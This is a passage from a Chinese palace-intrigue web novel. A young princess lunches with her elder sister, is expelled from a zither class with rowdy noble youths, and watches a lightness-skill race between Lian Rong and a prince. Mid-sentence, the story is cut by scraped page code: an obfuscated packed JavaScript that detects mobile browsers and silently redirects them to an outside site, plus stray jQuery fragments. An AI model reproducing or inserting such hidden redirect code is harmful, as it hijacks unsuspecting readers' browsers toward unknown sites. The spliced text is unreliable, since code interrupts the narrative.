阿筝答得认真,“那木雕容貌神态皆是灵动,连发丝这等细节之处也栩栩如生。”
“若我没猜错,端妃娘娘是不是喜爱对弈?我看木雕右手食指中指相并,而别的手指略弯曲,那是执子的姿势。”
“七皇姐观察入微,用心如此。一是因为母女情深,二便是因为喜欢锲刻。可是这样?”
此话说完,对面的人陷入了长久的沉默。
阿筝见她神情萎靡,也并不打扰。霍寒漪和端妃之间必定是有隔阂的,若是能加以利用……
也不知霍寒漪要思索多久,她这短腿有些站不住了。
像是感应到了她的惆怅,霍寒漪终于动了,“可是饿了?”
阿筝登时连连点头,又牵上了霍寒漪的袖子,见对方不反感便这样跟着走进了石亭里。
正要坐下时却被拦住。
霍寒漪朝远处招了招手。
喜风连忙一路小跑过来,熟练地打开箱箧从中拿出软布擦拭桌椅,待铺上一层软垫后,方才请主子坐下。
小陶子见状也不甘示弱地帮着布膳。
终于可以坐下来了,阿筝舒服地只想叹息,她的短腿都要打摆子了。
霍寒漪又恢复成了那个风仪端静的金枝玉叶。
用膳极为遵守礼度,抬手间清雅尽显,每一帧皆如画卷美人。膳后还帮阿筝细致地上了药,叮嘱她莫要再两药混涂。
学堂里的情况也讲了不少。
譬如,阿筝今日所坐的位置是郡主霍丛雁的。霍丛雁是福王的独女,只是近些日子生了病才未来学堂。
性子也颇为霸道,很得皇帝宠爱。
这顿午膳将两人关系拉近不少。阿筝本就打着亲近的心思,言谈之间更是哄着对方。
霍寒漪面上虽仍是矜持着,心里却松快很多,那些扰人的情绪都淡去不少。
下午是进学琴艺,夫子是礼部的员外郎,冉秦。
听闻其少时便以一曲《广陵散》名动天下,为人也颇有些才子的清高之态。
可惜阿筝伤了手,只能坐在一侧看着旁人抚琴。
这么一番观察,倒是看出了几个不通弦乐之人,比如嫌此无趣的漂亮少年屈承戟。
屈承戟是四皇子霍元熠的伴读,年岁相仿,趣味相投。
午间问了霍寒漪才知晓,这少年乃是国公府的世子。其父屈忠国曾以肉身为天子抵挡发狂的熊罴,因此落下些病根。
皇帝感念其忠心封为郑国公,爵位世袭。
还有个抚琴手势有些笨拙的,内阁大学士文太延的小儿子文淮朔。相貌敦厚,性情绵软,是五皇子霍元展的伴读。
啪,啪。
阿筝的思绪被突如其来的声音扰乱,循声望了过去。有位姑娘正捻着手中的断弦,目露迷茫。
琴音渐散,冉秦睁开了眼睛,面无表情地注视着罪魁祸首。
知道冉夫子正盯着自己,连蓉有些委屈。
她也不想的,可这弦太不听使唤,真不如她的飞云鞭顺手。
旁边传来几声熟悉的调笑,连蓉怒目回视。
阿筝弯了弯眼睛。
这位姑娘倒是很活泼,二品骠骑将军连斐的独女,应是备受宠爱才能养成这幅纯然的性子。
不过,这节课似是上不成了。
场中的几方从言语较量化为肢体冲突,最终几人均以扰乱旁人学业的理由,被冉夫子请离了座位。
于是阿筝便看着这几人离她越来越近,直至站到她的旁边。
原来这里是罚站宝地?阿筝愣了。
感觉到胳膊被戳了一下,阿筝扭头看去,弹断琴弦的姑娘正歪着头悄声问她,“你真是被六公主欺负了啊?”
目光中很是好奇。
倒不是阿筝不想回答,只是这姑娘问得过于突然,不知缘由不好贸然回复,便做一副否认的模样。
哪成想,那姑娘很是义气般拍拍自己的肩膀,“莫怕,以后我来保护你。”
这话逗笑了旁边的屈承戟。
他很是自然地倚在阿筝座椅的靠背上,语气含笑,“靠你那手飞晕鞭?”
旁边的霍元封也笑嘻嘻地插了句,“只飞虚空不飞人。”
连蓉大怒,下意识地去摸腰间的鞭子,却摸了个空。这才想起来她的飞云鞭早被父亲收走了。
可这股郁结之气不散,她就不姓连。
于是她出拳了。
几人你来我往空手过招,冉夫子的怒气更盛。再然后,连带着阿筝也被请了出去。
国子监的大门在几人的注视下缓缓关上。
阿筝是有点无言的。
这可是她第一天进学,她勤学的态度还没立住,若传到皇帝耳中怕是不太好。
但旁边的三人像是早已熟悉了这种境况,面色一点也不意外,甚至开始讨论接下来去哪儿。
几人的宫人小厮们神色也极其自然,拎着箱箧在远处等待。
阿筝默然,在心里给这三人均做了标注“需远离”。
看来今日怕是进不去国子监了,不如去藏书楼看看,正好给小陶子挑一本千字文之类的书认认字。
做完决定的阿筝朝小陶子招招手,可没等转身就被连蓉拉住,对方语调愉悦的开口道:“九公主,带你去个好玩的地方。”
说着就拉着她自顾自地往前走。
阿筝是想拒绝的,可她刚唤“连姑娘”三个字,剩下的话已经消失在了风里。
因为她被连蓉单手夹住了,双腿几乎挨不到地面。
连蓉像是离开了牢笼的猎豹,身形灵巧,带着她脚尖轻点,便几个跨步落到半里之外。
这就是轻功吗?
阿筝瞠目结舌,一时间忘了挣扎。最后的视野是小陶子惊恐的表情。
片刻之后,似是到了地方,连蓉将她放下来,告诉她这里是兰台园,不常有人来,让她放宽了心。
阿筝眨眨眼,目露惊奇。
连蓉见状有些压不住嘴角。
内心被满足感填满,甚至有些快要溢出,刚准备开口自谦几句时,却被一道懒洋洋的声音打断。
“这般慢,还以为你胆怯了。”
这个屈承戟,真是可恶!连蓉眉角抽抽,转身昂头道:“本姑娘从不知害怕是何物。”
那边屈承戟和霍元封像是到得更早,等得有些懒怠了。两人身边还多出了四皇子霍元熠。
相比于霍时月的娇姝牡丹之态,霍元熠有些男生女相,可是却不会令人错认性别。
只因他的性气不像是养在金银堆里的皇子,眉目间倒有些孤寂剑客的冷漠。
阿筝早间还在思考能否学武,眼下被连蓉使出的轻功晃花了眼。
原以为这几人瞧着便像是古代的学渣,与自己的勤励之路相距甚远,本想着绝不招惹。
如今看来是她眼拙了。
她虽不懂武艺,但从国子监里的交手,到轻功快慢来说,连蓉应是不如这三人的。
但连蓉、屈承戟非宫中人,即使愿意教自己,时辰上也是不便,那
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14832478|158524||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么只剩霍元熠和霍元封了。
霍元封比自己还小些,理论指点上怕是难以诉说清楚,这样剔除下来便只有霍元熠了。
不过,这事不急。
阿筝牵住了连蓉的袖子,往她身边贴近了些。
连蓉是没有妹妹的。
府里的兄弟性情顽劣,人嫌狗憎,吵闹起来更是气人,她便一直以为大家皆是如此。
今日才知,女孩子竟是如此香香软软,像小动物般眼神懵懂还会靠着你全心信赖。
虽然她的身份并不能真的把九公主当妹妹,可此刻连蓉的心有些化了,遂柔声安慰道:“公主莫怕,臣女与他们过过招。”
说完找了个干净的地方牵着阿筝过去,安置好后冲屈承戟他们示意。
阿筝很是听话地坐在那里,眼神在连蓉和那三人之间转。
按年纪来说,霍元封比自己这具身体还小一岁,若他也会武的话,自己也是有很大几率可以学会的。
不是说武术从小练习更好吗。
虽不是一定要成为顶尖高手,学会轻功也是很不错的。
怀揣着这股子兴奋,阿筝掏出小食开始鉴赏起来。
宫里皇子公主众多,霍元熠从未特意去记他们的相貌,自然不知道阿筝是他的九皇妹,还有些疑惑冲连蓉道:“怎么还带上了个孩子?”
屈承戟靠在树上,修长的指尖捻着一片叶子,漫不经心地道:“那可是你的九皇妹。”
听到这话,霍元熠朝阿筝看了一眼,随后不甚在意地转过头问连蓉。
“要怎么比?”
连蓉都有些心疼九公主了,霍元熠连自己的亲妹妹也不认识。
可见九公主在宫里的境地实在不算好,无人护着也算了,竟还被欺负。
由于这点怜惜,连蓉下意识朝阿筝看去。
对方正温驯地坐那里正吃着小饼,额前的碎发有些翘起来,察觉到自己的目光后,还回了笑容。
“就比轻功!”连蓉压着气。
“以这棵树为准,去摘顶端的新叶,一次只能摘一片,摘完必须落在地面上,共摘三次,谁用时更短即为胜出方。”
阿筝也抬起头去看那棵树。
那树在秋风的催促下,已然落了很多叶子,只余些稀疏的绿叶在顶端枝头。
“可以。”霍元熠一口答应,于他来说此事实在简单。
连蓉冷哼一声,“既是比试,输了自然得有惩罚。”
见在场之人均看了过来,连蓉思索片刻,指着阿筝道:“谁输了便完成九公主的一个心愿。”
话毕,阿筝便成了目光焦点位。
阿筝是真的茫然了,惊喜来得过于突然,手里的小饼都不香了。
她本已列好了计划如何接近这些人,从而达到自己想要学武的目的。
眼下来看,计划确实不如变化。
连蓉真是个宝贝,阿筝看她的目光都慈爱了许多。
那边的霍元熠虽是不懂连蓉为何提出这等惩罚,却也丝毫不惧。
因为自己很难输给她。
阿筝的位置属于是绝佳看台。
屈承戟和霍元封都走了过来,随着屈承戟的一声开始,连蓉和霍元熠便如离弦之箭一样,顺着树干节节攀升。
若是他们比招式,阿筝自然看不懂。
可若只是比快慢的话,连阿筝也能看出,霍元熠明显是要快些。
就在这时,屈承戟忽然开了口。
“不知九公主希望谁赢?”